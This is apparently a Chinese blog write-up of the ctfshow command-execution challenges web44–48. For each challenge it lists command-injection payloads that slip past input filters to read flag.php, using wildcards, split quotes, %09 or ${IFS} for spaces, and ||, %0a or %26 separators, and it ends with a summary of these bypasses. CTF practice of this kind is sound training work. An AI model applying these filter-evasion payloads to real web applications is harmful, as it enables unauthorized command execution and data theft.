ctfshow web入门命令执行44-48

目录

1.web44

2.web45 

3.web46

4.web47

5.web48

总结:

1.web44

过滤了flag,可以使用通配符绕过

 payload:

c=nl fla*||

c=nl fla*%26

c=nl fla*%26%26

c=nl fla*%0a

c=nl fla''g.php

2.web45 

又过滤了空格 ,最后一个为类似官方解法,为什么后面不能用fla*,因为会使$IFS空格失效

反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量(return函数),需要echo进行输出执行结果

payload:

c=nl%09fla*||

c=nl%09fla*||

c=nl%09fla*%26

c=nl%09fla*%26%26

c=nl%09fla*%0a

c=echo`nl${IFS}fla*`||

c=echo`nl\$IFS*`|| 

c=nl%09fla%3F%3F%3F%3F%3F||

c=nl%09fla''g.php

3.web46

这题过滤了空格和数字,$,*等

payload:

c=tac<>fla''g.php||

c=nl<fla''g.php%26

c=nl<fla''g.php%26%26     #%26可用是因为是特殊url编码,当执行时会自动转成&

c=nl<fla''g.php%0a

c=nl%09fla''g.php%0a

c=echo`nl<fla''g.php`%0a

c=nl%09fla%3F%3F%3F%3F%3F||

4.web47

 这题没过滤什么,只是把其他可以查看文件内容的命令过滤了

payload:

c=tac<>fla''g.php||

c=nl<fla''g.php%26

c=nl<fla''g.php%26%26     #%26可用是因为是特殊url编码,当执行时会自动转成&

c=nl<fla''g.php%0a

c=echo`nl<fla''g.php`%0a

c=nl%09<fla''g.php||

c=nl%09fla%3F%3F%3F%3F%3F||

5.web48

这题又过滤了一些命令,还有反引号 

payload:

c=nl%09fla%3F%3F%3F%3F%3F||     #%3F是? url编码

c=nl%09fla??????||                               #?和<不能同时使用

c=tac<>fla''g.php||

c=nl<fla''g.php%26

c=nl<fla''g.php%26%26     #%26可用是因为是特殊url编码,当执行时会自动转成&

c=nl<fla''g.php%0a

c=nl%09<fla''g.php||

总结:

flag被过滤了,主要又以下绕过方式

 fla\g.php

fla''g.php

fla*

fla??????

fla""g.php

 当执行系统命令时后面又>/dev/null 2>&1绕过方法

||

%0a

%26

%26%26

空格过滤绕过方式:

%09

${IFS}

\$IFS

burp fuzz测试%00-%0ff之间的字符

(14条消息) linux 里的`反引号_linux中反引号_cll_jj的博客-CSDN博客

(12条消息) [CTFSHOW]命令执行_ctfshow 命令执行_Y4tacker的博客-CSDN博客

posted @ 2024-04-15 07:57  mushangqiujin  阅读(0)  评论(0编辑  收藏  举报  来源